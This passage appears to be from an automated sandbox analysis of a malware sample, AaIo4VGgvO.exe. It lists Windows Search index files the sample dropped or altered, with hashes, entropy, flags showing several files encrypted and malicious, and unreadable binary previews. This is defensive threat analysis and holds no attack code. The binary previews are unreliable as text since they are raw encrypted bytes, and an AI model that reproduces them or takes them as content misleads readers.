Preview:	6...U.....M20.b../.~.M....A..c..,X..y5.j.R..sz.l...........2........{.V.bM...L...+^.,o.rL....5_=[.7.\..x.E...SD...H.NL....Zx.Z.....2U.J..._..&2F`$".R..o.AS.U.3.....:E..7..q.Ez%IHs......%..J....=....!.B.g'I.R8..h..5`..=..jF.1$........ju.... \.`..~f)/..T4..t~V...a...".T?.J.......z.0.+. .0><.....d'2x..`._...Z.'........&.@RI..Oc....3....0.G....o....^..B(...e..U.5..m.w.z.V_#!.=.5..UE....o.Rj.s_3.6{.f'...R.4.0.%..:J.e.L/u.R.....#..;.......j\|....\...P].q...Z.$[#n..F....\....Ku.b.....y....../.{...."..-.\. ..R....j..zG./....-N.0...N......@d.U8w..p,.2.Y....$....\|.W..RbHEL...-N/V...+..6.`...RX..u$ X...5..Ae.....^8....#..i.G^....:*v.h..).BQ..iFA`OrQ.s.....lx.".....^.S.(.....L..u..Gx..e..O.....b..B@..-.-..9.HF....../..`..a.E..hd.."..`I.7?.AV%....n...bz.x#.m.K.C-^.'..\6I.....i7.S2... ..gE.....M.....V. ]Zuv`..o.`%.Z6.<...p...\|......o}..u..+.......8...;Y..E..RV...<.4>..#..v.8.....NV..<.....Nj..1.j.....,.x$...#.(...2....Q......tBG.%Y._.eL,.v8....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2072512439197065
Encrypted:	false
SSDEEP:	3072:2dLbKa7CFnqtpAIaA6woKDw+YnGVKhzQOqZMkpypgzi+SXmxa1D:iawEqtplaqw+YoyDqZfpyO++SXmkJ
MD5:	9850E1003165950ED8627272534C9F91
SHA1:	6506B26CC947C2B64656629B565E084C3B76E8DE
SHA-256:	1966C21C79CDD11B3EEA07DE1A27F37F357D9E270113ADDB51EFAD49F04B05BF
SHA-512:	E475D9F721389405241BCDBFFE03C1492588A0E90BF25D67E2E38D74116969722E1AFCE1113C3B769ED4299B00470FC38157819ED3B6AB75E9AB05D2352A8548
Malicious:	false
Preview:	u.,I.H...A$f[....Z,..}.,(.L=...4.....r..;.............\.$7d......].._.ST.s.H.JSB......?.+~.....9..M............}..\.0x.6ad.[!e.y.7.....,.>8....ZI#......HE..O...1A.&.....5.$...Q..X.B.,J.'.:./A....F("L&P.o....Q...r...=)R..n..w'.........k...o+....m~...V!.ur./^?.y..r.+..".K...]....)T;.:9.t5,....P...j....phA.-K@..5..k_.._..(.g).RP.....v........(....:..v..G..-.b.....~$l)..v.Z.!o^.#.hb).".v....a...z...!..q%..^.!....pn.?.0...R_...h!Z.....+2qB.z.y..e.......a.3.L...s...%bGE=...r..N z...U....Z.p../v..Vn...g(sA......2....!.s.....u.:~'Y...O..........\|r.ZW..6...#.v3...r.0c.LDB...>!..._IBo...C.qL...).dz#..U.........).U.....=..5m^.d...)...U8...d.-.Tq+..W.X.1.'.....<..s.xD......TWH..j.......(.!..]..N.....%v.,v.r........E..1...,d.....Du.1.=p..jv.j...6.(....!......F..+5q..U\|9f.a.."SY.h,...f....>.mD.....L....T......:d.xA....:.9.E.\.%?.0#......yH.. .. ..-.\|....e....j5...+....@....V.......YA..........O.{6.oB$..Dr1......a.$...3..S..3....`../..5...d.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.5011313517445335
Encrypted:	false
SSDEEP:	3072:UDO1iSFxpB0HL05VZPmPV+JlO2zCPrn4PeuWCuquB8s4PsstZWuHdlr/8aNcmulP:ak4HL0RPmcVzXFunB8rxtZWuHDq
MD5:	AC1BC41A9B4261CC1A28B80755B7C057
SHA1:	541D104A3AE6D70A4CBD1040F3B86B2CD5941DBB
SHA-256:	3229018B4E86AAF350A72C319D7BE4C662753AC05A8BDA9AF02D320B10842E4A
SHA-512:	C7C57AFC8301D9A412C067BEE23B86500903BBAB5102ACF06B068C53FB3006E7B69CE12E4FDA1052CF4F448CFC9764813E30C7082FB194C5173A66AAB4008C77
Malicious:	false
Preview:	......F".R....o..........L...J-.`.....=.X..C.....d..nO..!.....21% Wsw.l.....u'.C%1'...4...#..#...X....:.z ._.%O0<^.....M..c.D...X......g\|..A....\|=<Dn\|f......jf.^.I.....mD..'Z...A.Ga...E....o.L.K..?.e.......0.r.(.....m"......:......l.q.....@...T.Z_..+?.....~..J-.k,i..\|....u..;...t.3.....<..Z.......~.....:.X..E.O.e...[.0..2.A..1...iw.G..x....j.....711.p.o..@......ts$./..{..W.E.-....@\|.......e..!r..q02..].N_.wL..+Z.{....'2G.&?.ESAo.uq.....7v..8r....ffn.....x..#X...}t...=.#.(,lo=.gk.zj.m..9a..M.i......nr..x^.S..@)..K.Z%7.....K.M.!.y...~J....8...x/..R...'....N.#..b....P.tn....Y.I.!.\CK...b..Wj...w...zO..3..R~.x.G....B.....Z..)..e[.k...M..]........f.".4."h]......7R.(7c...P<..@..%._.4fv/.u.6&...#...1.F...'..1.{.Kkrq.G.....V<....=8.v..;.dI....4.]./.?f.A..o...-H..........!h~o..9..jeyDO.?%..3.N....]i.qD......%.mK_..A.'..1........}n$ ..........M...\.=Lf.1.X....R..h.........].EJ.i....9.....i..$.......\.t..u.XMM.=-...q\|$...5.kM^r.mq.jm...w.PJ..`.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208160727754247
Encrypted:	false
SSDEEP:	3072:obdU5/hzq5M2bD7EwC1LXpvK206Y9qYoDmQw2ikJNW/9Ld1:obdU55zqa2P7Y55Ar2DVikJY1h1
MD5:	9BBD4E67BDAACBB36A3952B0924AC980
SHA1:	4F5057E04199804595243B30CE993719DB69F6EC
SHA-256:	E1D3B2449BDE4795F4031CA19ADB7E4E3D9871EA0BDABA20E0F1F8E68814D23C
SHA-512:	4799F30B5760B1D0C6FF827C4D4A9958AF57C76A5CB84A6F1A6BE403B7932E24564D5D097C188C801B29E7C2123043A543432B670C6C8B72E58B94254EE35371
Malicious:	false
Preview:	.......ou.an.!\...NB.....0}..r.#.2...<.....^.t$....u".......&.1sx5.<-.\|.C..7.X....HR.(f.t.qi.....%V.c..&..&EQ..VsL...>,.c..Z9...rG^.n[.~..M...$g..#.......'......S.@q3vRmF.......LMF?W..o.......T ~....'.tf6.;3.)....t.....t>(B.yXvKpr..r...`s..=....&.2.$...u10..`..d. DV..:.j...qJ....{I.....C.yY.a.M.c..+./..[h......j0i..z.{.......D.V..6...b4.M{0.a..4..2#.....>......lQ(.....D&..@...t.V,hZ..r.s...&.. ..Q.egW...Jh....\| .G..\|^#.\....$2q...=l4...=e.e1zX...^.u94$.g?r..3.T"p..q......MP....g.`....~...M.J2%.8.K....zO....i..k..@.0..1..z.A.j.i..u.mzJ>i....!...b.........:&J../$.;..........8>..b.m.......E......C..e>.7.....k.Z}_&.P..e.8y..Z......7x.+...c.......4P...LF..........Te.8..yo..X'......:S#Qbw..f..?...f..5....un...`.k......M1[..#c_.bvxC<.xB#..8[r.TD.0.m....C".._g.....RoB .a5.V.0.FN.2.3..Q.Ql........6.#H.Ud8...J.p..6qb.O...w..... ..\|...2.@.(<.r..O......'....o..&T#...H..U..i...DT-...h...\z.&M..1y.C.;+..;..P..[>qYd.J.nO.....I.b.,...\

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207408187755881
Encrypted:	false
SSDEEP:	3072:8g+syZ/EnhjL5YiKv0v7yuKocyeOMXp2zR44+2TRG4tI//JQeIYBAA:0PZ4H59fXdFUp2zR44JJk/JQeF
MD5:	ABBF868594BF6E223EAF527A13876602
SHA1:	2074DE01B0186EF0F7812E3E8037511F46459DE2
SHA-256:	6545E526B0E46EF8DFA9539556E2E5311165CB28B306BAF31DE2121F5707E9FE
SHA-512:	5FE2304A0D57FB2C79CA03904A591A4BA31577AD7CA2071695819D55C7DCBC53D7A3A086FEEE953C54557AB6EE5BB9B136CA85AA497F1A341141F90C69BDD7A2
Malicious:	false
Preview:	......i....<.FQ.W.X~....q.{{._1c..@..!..k..".\\0)].mr,....F$o...d...e.5.....`!...WxYo...k..........lx.eCK.x_/M..1.....~..:.T.]..jK.M=fh..0....W.y...".\....f.....=1#...;.:...HN'....`K.....e..j.M....W.).V./.T.._..Bp@.B......d....K..x ..=.I..c.....r.Z}.........A..,[x....7..T..P,.w...M..c:.@V...rw..}..I.....O..<.l...0Fo....P.$...E./p...gFI..p....Ca.......d.".H..h.e........i...Z.....).h.p....b....C,.-w...i..I......h.{u..}........=.9c..G.........Q..........wOk.hk.i..E..) .)L..8. ..{I...9h....r../N)MDB@..}.A.....<.`.....M.W.u+.G.hJo._F..P.W'............z"(....5...lW<...."?.....Qh..\.4....'J.f}.y..b...=..>)..-4.s..q..=].(6..4.DK....h3..yp..`... .RH..."{..P}....l.....5xv..Kp)_q.T.-..E.L8Mk.lu`mZ..e...y.q0I).C.4....y..5.P.>?...g.Gd...cf.,~%.DWd..7J....&[7..B.0.[=.$=P.n........ _....:.t.+C{GR..@.A..G./s.(.....]k...oU...2.!P.CV.j.\|.J...........U......>.Z'..V..xdJ.y..*..z......)XW..z-..?.hj>.N....`.m6.e.u.....`.w.....^......A.x...S;eW4.....TuM.M..vV5.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208475832938033
Encrypted:	false
SSDEEP:	6144:wl/rHvb0QBP7TFZdQTQCCB03JJ+V9lI0CuP:wprH9F8fJJ+V9lI0CuP
MD5:	F192D54DE99A2D77781958E70C0CA6BB
SHA1:	5B6B3EABE6BB340AFDB8DE2270CB173C9C90EA75
SHA-256:	B3A3D76BD45950CAC9D5F84311B0205B61FE0300211B896396C3AAC7C0F5B2CA
SHA-512:	61FCEABAA88CA7F81419FFAE862C8B1AE0A49BEFCCE875D8E10AB5DE7EA4BF46FEF323B49EB260806DB8AAB4E867148ABEF836B61BA7B0EE084B03B30DAF2F2B
Malicious:	false
Preview:	.....v.....d.......8.`W...).Y.....).+...0V>.A.(...z^kI(..D7.<......&.m...f... ..y..d.......sep.X.%..I<.3.7...j/\|.%9tox..R=..I.....@.<.&-......W3.Z.Y.Q..............5G....t..$."\..y/..<..2.jD..).R~.m[......2.L..Sc...(..n'.[.Z......%.......yg..5..........8&+j".2..pP.I}M.?..[....G..A.IC....\<..S.J.F..hS.ED..;...~...d.d.,.?#.....).oR...e....g04.X.YM...y...v.;..!..W\.da...Pq..a........9.@.~?.8m..$9.G.w.<s.B..\|..n... .P.Lw.n..?.......X..^.....Y.3..jv.....cD....a.........wM..B4+.xQ..\..`.-..T..$..gE..I..\t.....R7........g8..._.z[..}l...t.S.c...a_f.DI9'v".~..aFh...r.....ii....\|..<w#.h..,e.VM..Z...ZU.....`9.2....X..V.9..2...VH.%..SDM...'..q..8....N.Z\|...._e.5...>...#.....(.c3.2.....*.6.c.....M<V{a..}..~.$..L...#..=....kv..I..6R.BX.\+.1.....%.y.V..=....(...~..3O._..6.?..8..C...gD...(.}}.......Gxx..p..N.)..{.....$j.....b..KK)...=6....gV.v..&..Le..........lC...>.9\|.....6C.{..s.{..."?.....j.r\.../.V#U.%2....Q#.lg..YD\|>.).....X.>#.".#1Z

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	37788
Entropy (8bit):	7.995522664010744
Encrypted:	true
SSDEEP:	768:iQ1yKCF1lTjUH4AufTzwBJitPaXhTucZh1P0Vj/0AI/K/viaBUKhb:VclFXAHi7zwcPkhV0VuGvtUKhb
MD5:	2D87EFFA16291E5E4BDF3BE90CEA62B0
SHA1:	FF017E615AB3AFBB9C5AC1E03E23DDED8DCB051A
SHA-256:	B6C3971DA090DF6B5C3795DB146BD23EDF734E731C4A9C5E256EC471A0B7CF8A
SHA-512:	B15513360696261748EF0CD8A6329FD8453147008E5182ABFC0AB8992B8D51000A5C56F6E8CF42C0B789A10180CD4935D7F7043677EE99D7460927C0CB59547E
Malicious:	true
Preview:	0.0....u......C/ ....\|/.-...,.J.VTm+qa.X...........0.M..]..h.....-......mw1o'.u.%...iZEL%... .E.p.=".Dt...G9.w.[..7X....O..%.BU^....7+..q._O5&.C".x.+/M..S...t.1X...Fa.\|m2%y......d(.}.Z..../....G..z...n...l\...2..7p......N......,.ag..>.b...2...(,?.=).K..........1..$m.\}....!......N.B......c.....=q..w......&...'/...4..YW./K.......E.z\....Zpm..w.X.4..y.O3...W=. .$..$..O\..d.%..I.!....n8.....Y<...0..K\...&".y.cR..V...q(R....M.O`.H....%...j:.0..W......'....G..&F4...y....v.3.b........X.\|.8?._I.0'#... ..0"fe!...[.(.LWi M.6...>.@.j[I.Z...../.(.$).+.W/W....9..\|8~.GI.[v..y#.^........(.:l.l.../......[..\|......Y...........Z.\|.1P.k...C.....pU/...z..at..%....R.g... j..........:..O....h.IA/......uF..C....\|.AC........(..2%."...u.1.<..ya..C..G..FM.yhD.?T#..VZ......o..6;.r..c..,.V\.R.k...ve.a.8.0EL]...$~O.~....w.{%........o.v.i8.s.D...A..J.#.j..y......<s..1.m.:..0..A.O..."n.8>...5....Uh.]...$...B._'...-.......R..n)."...=Nk.0..Z++A...x...D.K.....z...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	50753
Entropy (8bit):	7.995760329348545
Encrypted:	true
SSDEEP:	1536:hkkZZfCklIJlc84GyHbBCkBt29/b2CW/Z:h5ddlIjcA45naB+Z
MD5:	8F93AE61C394E67BF6F3CD1BFB140994
SHA1:	A346908D4D338DCB00F9BA35A538F1F381BD9D94
SHA-256:	87747EEE82AFADD49CC2198B25B490CB082C182A7F7F925F24F79013358A81C5
SHA-512:	52821DB80A069C2BB50D077F6A58ABA4918238BE0510ED58A4196973FB0B64263F7FC2EC3A096B4D70C8C5AA67E895BEFA0019D3CD8BF725B510A2673DEBE2DA
Malicious:	true
Preview:	.............I...}.....k6."..$.?gQ5"..k.(y..#.s=..d.YO.....kw.I.r3...4...O.0......g...l...$H_...4..a7nlZ...........Q.^'L.....)Vkw..D..X.e5.......Sq.N..?-A..~.Kj....UN1^.5gd.A..n.&..\|.?...........\H.P....b$...}14i../..^!.....>.W...I{....xr...M.....zK...:....F....=anVP.dj..u..F..W..l.`&..).3.Z.w..4.%O._+..6Q#...}......#.>0MeM...Vg.X...Z.!...k...^K.Nf...a6d.P....@t.{....@..H....0.@.!P.s'.. [...{tE.T.....W..&.J_#WP.T..Q0.1D.Q..~..y..X.....B)...1....5.o..\|.e..:..`.&..}..N..6[....Xz..Ih$AM.W.s9.&...h..a...B..LIb. ..c/.f.M2.....M.....Ad..t/-r.<..6..R.#v.&..6b.%mI..N...d.DJ.h.8..\|...Z`2....HP..0.}!U`#.....B......}...p.g5......V.......zt..j..Z..7.@{.4...LDW....ZNQ.m.....?......?r..VB$x.Q5....{.>.HC....pq).k.......G6........`.....L...1.yG.....cP.x..;D.Yx..Z.Y..W.....,..@.U....\|......Y.;..OX...Gnb....x.9.!WY...T..f....8.^.i.>...9'f...O...`X......~....o...~E....].A.2-..5...#....GQ.R.. ..\.r...X.VP9X.?$....4L.....%.B..M....{.:.,M.^.[.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.index

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1126711
Entropy (8bit):	6.541442858918174
Encrypted:	false
SSDEEP:	24576:uoHg8k+YfoyFxz8GfoLr7YfoyFxz8GHxUMh:uoAf1xz8GfMwf1xz8GR1
MD5:	4A52A81B5B7C5908D43D203D57DA6146
SHA1:	96BE4799D7A0437056B10A51A6338E31F78A309C
SHA-256:	4970BEF40F844AD395FD0BD4068566D7E6C4392BDFBE22069853C3E2CCC9F65C
SHA-512:	BE4EA25605AAFD47C8FB9C0B9B91062F3A6D2FEDD1D12577E96212A65CBCC85B2FE8AE2ED14132B713081DC97F0E2654728C90748474E5D0EEA888980A28AF2A
Malicious:	false
Preview:	Ej..D.N.Oo.....'r.,Lv..K.....jN`C...W..(... ...w...PY...........Pu...E.b..&.e........8yz.3.g.+...{.5.fH8Hq).....o<.d;.Bf.8..1...).. t..C....y....Y8A;{$\..g.\.f.m.:)J..JO+.?...]../..n.j...,.v.Rq.\|z....9.F....=..$.......CE.....I..\|....R......]N.sK7....U..1[>.S.......$..`j.,.%.]....({.PU..C...~b.t!....>.3z..h.(.6...r....BD.\..j;...<\|.......d .@...\.e.kY..:........,.u.Z.L.].f........c..#..........r.2A..`.X.:W...%h......V.^by...e....X.+.G.r........R.P=..8<....J(..r..r.M....H...=Di.p..w..R.....>C..1.7K.."W.$x...M.4..=...._.L..=..X.).FWf@.0.Gg.:.N..BAN,1d..k..D.....}@S....hfW\|.[.......)x.....8N`.N....+........84...C..C....!.W."1.)f.......,.B.R...Zs60.....2...8F.d1....?.5....A.......lV.`.j..z.&...h1O.3...D..Od.g..a..:.qi...........')./$.\|nPi...?]...X..L...`.S.6...V.z_J.~G.........[.'$......W..%\|..Q.3...qRg..d..n.9..$.W.Z.\..Z.i...AzI#.-G.....B..g...Qs.J.1......m..g..?./..}...x....M.#.y...vT..8X&.S`y?.W....7...\...t.w.W6.+J"...dX...:.\|j.:..h]..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{357ace01-7b14-4f4a-960d-085da55bf3ea}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.994526354864989
Encrypted:	true
SSDEEP:	768:LeMOZWScmFSsDOBywbPFbfBYdeYR9eXIZ7hiA+6Z70GdeD:inZWCUgOowbNbntXI5hiUZV6
MD5:	D50CAAE9D69A065CCCE3658389C77034
SHA1:	61E08948226A6A33667BA366A2EDC284A063976F
SHA-256:	EE7E85F937A594217A19055B26F721F92A93ECB581407653DD3634CF1B7F2E9A
SHA-512:	8FCB53644BC3F53219B41749DDFEBDF74656FB2C31D998D317CF1BCA21BD70CCD7033582F5433188AD3AD5F4E892A3D93892221427F55ECA48A5E47EC1669A4F
Malicious:	true
Preview:	0.0..."..k...."..F.vx%.....(.Y.0......A.3.c..>(.....{......D..CM......3....(.....4..h.K.s.#..8.c.....W P@.<p....O5.h..p....`.P.;..?.yB6L..vF..w..C...GZ.j..k.z.\zn.X...+...iUx..X.5.u......3m=.j..1.#....r....k.x.^fPyv.~.....Y....Z..F....TD]K......s./...^e6..Z...J..../..=.$bx.l.(j]T.2./...y.j@6.=.t7B..4...e(.c.......V4.+!.Er[..A...;.t.G.ZYZ..5......pq.%.. ..._...........}..Y/.....z...Cc.h.[S!......h^....._.H.$7}.{D....^l.s......=f._HC..R..'.IU...8r?.)....!{.R.e.tJ$aE.[e"...;..+w.....1e.=..^{.#.......t.NE......c]..../hB..:K..pt.=.\...Cs...2...S.....P..d3.tv$odb...pG.....F...,..\|z;....$2...M....i.D&..b..h.GD..z .&.R,M.<....).......(I.8Lr.,..c..~V.......~.......:<.../..R......l<..M...2k.j...U\|00Y.;vjx?....3..!.....-=..Y..E.......V.mjf.K.pq......!Ch5F...1..U.7.FY%r..:..n+...B....}BF....Y.zf2./t.7.i..$..3c;.YN..Us..+31._f.{.\R..Q....O...N.'.h.....=..9.d.#9..G.........'...<B@e<...%..Ssp.....}\f!+x.T..l............\.......(..@.@..~-...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{357ace01-7b14-4f4a-960d-085da55bf3ea}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996352431591401
Encrypted:	true
SSDEEP:	1536:Hqtj2E85F2gG884kotpf9iIX6IH/HJ+uaHhTeDaGFuifQH:Ktjf85Qgf1tlvHEuaQDaGFuy4
MD5:	2E4C75F3D065F45D6FC206C0485E75C5
SHA1:	483D0BD89FB9A55D2408FE102F21E8C000BF1F4E
SHA-256:	B205A9AB17E5B5874B128564F387050A89648132D2A6582EE1B641D1A798368C
SHA-512:	44708A3E88E0565E65CB7E6425444AB29F9E215CF8D131369A2926167CD5C031989F83EF295B3BC308ED42C44AA82B19BA4585670CF12FC0ECBCDCE1F29A9916
Malicious:	true
Preview:	.......1......X..[.S.'P+C....$j9...y.2.. ...6...d..v.fe?`...-.p.1[.]....(R..+..8.n..x.......%....6...L.......h.?..1.".PN`.).....85.W..(n....$.&z.+-.-.Vn...V=...........\|w...'..&.d....x.; ....!....%..e.m.........;.W..&.2..,r.R...c..).D...i.E#(B. .....A...GJH....%\|..6._.....bV..jX...v8..].I.O.u4.8K.e+:....].;._.m..M.d..:.........~.Y."..n:...X(..m....X...Z)#..iRiV=r.y....Wy!.,...]..`.....-.A...d...aM2V....].....,kL.....w..RG.....;.V.5...:.u...y...9"fA..}$...H.!{0<..q...3..q.Ml.S... .W..j..V=w4J...:a.X.7...Q!..>..^.....&iA)4..N.o....{3.E.."J..hpD.o.K.J...@%......MS..6z.W..\d2...i.>...H7C\.Zv{.{.8f6.Ei....;...{0.....jIg.t.M.u.~.......9.j.v............c<.bh...@.`...=l5.+.v......-N4..:.\...............YZb.g.......>..2z.D.........\+..J5..?..UF6.4../MT.$.....@.O.{. .....c..JVW..O}.M....P..d..8i`.B...,.-..Z.w'.......{...&w-E.%...C{..w..t.k.l.[Q...f5.M)M5M....WkVMq....6b..%..vn .^w.W.p....0"rv..\....?....i.\....?...K".......c~Ci@...l.ftbg

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{357ace01-7b14-4f4a-960d-085da55bf3ea}\Apps.index

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.5417337785513965
Encrypted:	false
SSDEEP:	24576:sx9YbYfoyFxz8GfoLr7YfoyFxz8G21itk:sxq8f1xz8GfMwf1xz8G2J
MD5:	6DFE78CDC2F5D7E604DD49E943FCD890
SHA1:	DB00934A71674E0C415ABB2CEF09E80D26724773
SHA-256:	069753AE283DF17C5F11FD6D058873AD063ACB9B97D9BCC1325B086E52E35037
SHA-512:	959CCD47C7543BB1968FAB70C5F9AC37EE817E736E4F713E138A1A7F876945E19DB8606BE07EE848820BF779DD49C590CA35583B12B113F93F398744C0D907DC
Malicious:	false
Preview:	Ej..D[....c 1V..@.....c..H[#b6..p...#.;.y...hS.\.A.!p.......J.U.2U......9sD..cL..'....vU.P%...9...^.......U..K...2I.;..U0.8...5..v...u".>....xi..;.Q.i...C..M...0..n,.%W.Z..lY.E.D....`.....\|......b..Z.O........X......U.J.../a....Z.."...1(A. ..,.(.l...I.lS..(...5R..w..E.kf.{...s.+...:%.n...........+....-......[.]?J9k...`.E...@A...h.&.b.D.CA..W.+...y]..h\..$.Z(f...}.D..Obl.3.T.V...W'.7w.J[....{~....".fmI...g.g.1y.m^\!...5..e.LJ.I..f.@..$..x..'b....q1.Jp.I.5NJ.,<.......Rq.\..A;6.8......X3..`..i"fv.._.r..=..I....g=...Q....i..V.X.....o.I:...Q..!R.......u@.BE}/w.....2f..L..M#..LX...,.5.diW..G..\|..............F.......w}yp..K$Mn...gB....q.b...r..UN...et...O7Y.+..[........LH...d.^.!\.M......%.f0..d..I...._...<).R.#W..=X...ET..). c..N\..-.a....=R.a.G.m6<.8Pa(:\|>0g...'............g.{....=k...o........Q....W......<../&..Oo4.#... .\|.f8..e.H......g...B-..8#.P%Q...5b.F..)BRY..-..y.\e2....uj.h..o.oh.F)(.p3>`...]..+..d./..$.y.":...c.h.d.Z.....c

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3c0bfc12-2764-4044-ad15-d4833a01b073}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.994370282043622
Encrypted:	true
SSDEEP:	768:W+FmYA26pKyaGHWYOxijSOwlJ/F9JXtNhp2svqJpUHU2a/JQ3G9gRs:W+FxAxyeGxiuOwPFvXjejJpl2a/JQKgW
MD5:	54B1631C2318CC6A83A414BD5A6A8A7B
SHA1:	70FFC1F58137796526818990245DF31C0FB7582D
SHA-256:	679648F354E52E0BBADA8B16544CEC09986F2BFFA6C9D9389CC9F49798F935D6
SHA-512:	50BD924FEE43D555D0B908A0EC593D51CA4EE40CF8AAA7A50716302DDFD85B47501EE5592C2D3B9CDF85120F41A527CA0E0C0102708D99D8582663FACB3A4DBA
Malicious:	true
Preview:	0.0...{.2.h8\.'........ Ica#=....7m...E..a......:U@?f...tdI4C.\|.}...H.7...X.3...3..P.V.bpj...W.x..y.....P?.5....;..EK.C}....'J.._.........cs...U(...=N....P.x..N .... .....D.\l.`.o..6e....E..T....yV....rl}....ws......`.1...e..n._..Zy.g..%f%.- ......x.p.3..M}.:.(.+...y. .k....L..xc.BI.T...n.....k.'.y.U..MXi.......Al......9...Ofw&%t...:..?M^Io.}......=1.`o..8^:.{....%....bn....2h,bM..,....q.G.....4..<....\..u.,Z.a.U.....Y...8.3.....]..he...@.X.Z.&...,.gE..........0.z..3G%7~0.].....%...)3..hx...n.$....wk.se.B1.x.}eKR)..s<^q\|....RgG}._,.x7?pd?.....UP.P....._..)e~...6.......D~T;@..s5.~.R.j.......`.........A.............(...D.....ch'.'..pI..:(i..y..3...pO.E.[....2d... =.a...8...?htMaBw.4.h-.l.;...{"....}.vAe...$....6..}.S2.s.0..............d.H.t..-....z..u...1...O..U.....o,V.E.......i.....9..1...@.70.K\.......t.5.T..\...H.L.\|.j...l.;Q:Qlr..I=.G...R..nB..>M...!.....\.mj.g..M.j.^...oTQ.jh..u...l.\.b".?w...h.m......DFE)N...kw..P}.:..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3c0bfc12-2764-4044-ad15-d4833a01b073}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996324868869365
Encrypted:	true
SSDEEP:	1536:HLvNa9eGySue8vsvhfPl5EHAlQ6OfOxa2hRduMD0o:HbwQrSuHvAfPlUsQ61LhRwO
MD5:	AB9C419F60B0E4ED32D16BF02F71F5FB
SHA1:	D34B8049D5E50B8796ECEDFBDB84F36110E61E85
SHA-256:	A45A9FA1F731925C1ADEC147E0529EDF1D5C4276776E7ABA47D92FE7C80EA8B9
SHA-512:	4BACDE3D18E8849A1DEACC9F9E5C0F9F253772F67641EFB5E9FB221EE594EE5D0196752ED75326DA571F4071F7833E0EDDD1B9B45960CB5AA265E434873E3685
Malicious:	true
Preview:	.........8w......w..b..#<..K0N.\|N.x.+_....\-$..&b.EaT.%.....O.X..l..^i..Q.B\|....~..`]u.........t.3.`_.1..<.>...F.;g...-9..zN...Q.~......A.2.F...Z.3l.....6q.).G...f..G.....Y(...Y(......R...fg..p.....#1.Vv.0..k.h.!..`...FE.^.1..q...^uo.../ns.B...-2..NR.cDZ.r..S.+..........:.A.E=....&.....q..:.}.d.P5.=?..N.).~..s.u....}....2.1..\|6..............J...t}Wg.ThMF3...3....%U..z..l.SW..?lS.<st_......s.#.7$....}....w.....m.....J...b.........c9.,..q.Y.#....?..N.z%1..K..C..]b.\.#zz.}...3}j..q8.i.A.....#.9.n+.k.Ib...R..".u,...&.^...&.d"!.<...l...=-..]/R..g(..^.Pe.Q.e.-.[`F...J....c.V{)8e...H)I~.b+..gJ..}z%.}X....v.y.........Hg.=....$...J.g........FL....9"a)O...\..i...fQ%z>.5.#.(..X....9.h.u...k.....J...w....?..,k.W..#,....,PIqJ1....n..S...bhX)....d..%x.0q^.q....TH....{....h Is..M..^...(.h....+...(....?. z.e.7.....8.......K..G..2z.%Tz......Q.i....FR...;.C...)...R..=...t:.S..^3T..2.4.S.3..........\|.bt.T....OL.S..),.x....x .k8'.......'..

